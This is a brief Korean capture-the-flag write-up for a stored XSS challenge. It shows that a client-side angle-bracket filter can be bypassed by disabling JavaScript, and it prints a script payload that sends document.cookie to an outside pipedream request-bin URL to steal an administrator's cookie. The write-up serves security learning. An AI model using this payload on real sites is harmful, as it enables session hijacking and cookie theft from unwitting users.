Segfault CTF - (10주 차) XSS 5

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)

※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.

---

SegFault CTF - XSS 5

1. 목표 : 관리자의 Cookie를 탈취하세요!

2. 실행 

• XSS 취약점 찾기
  [보안 공부] 9주 차 - XSS(크로스 사이트 스크립팅), 보고서 작성에서 게시글을 작성할 때 특수문자 꺽쇠(angle braket)를 javascript로 필터링 중이라서 javascript를 중지하고 게시글을 작성하면 XSS를 할 수 있다.
• 스크립트 작성
  <script>var i = new Image(); i.src="https://enmqaeuyiny5.x.pipedream.net/?cookiedata="+document.cookie;</script>
  
• Stored XSS 게시글 작성
  

  

  제목 부분은 테스트이다, 제목 부분은 스크립트가 실행되지 않는다.

• 관리자 쿠키 획득 
  게시글을 관리자가 보도록 한 뒤 쿠키를 획득한다.
  

  

  성공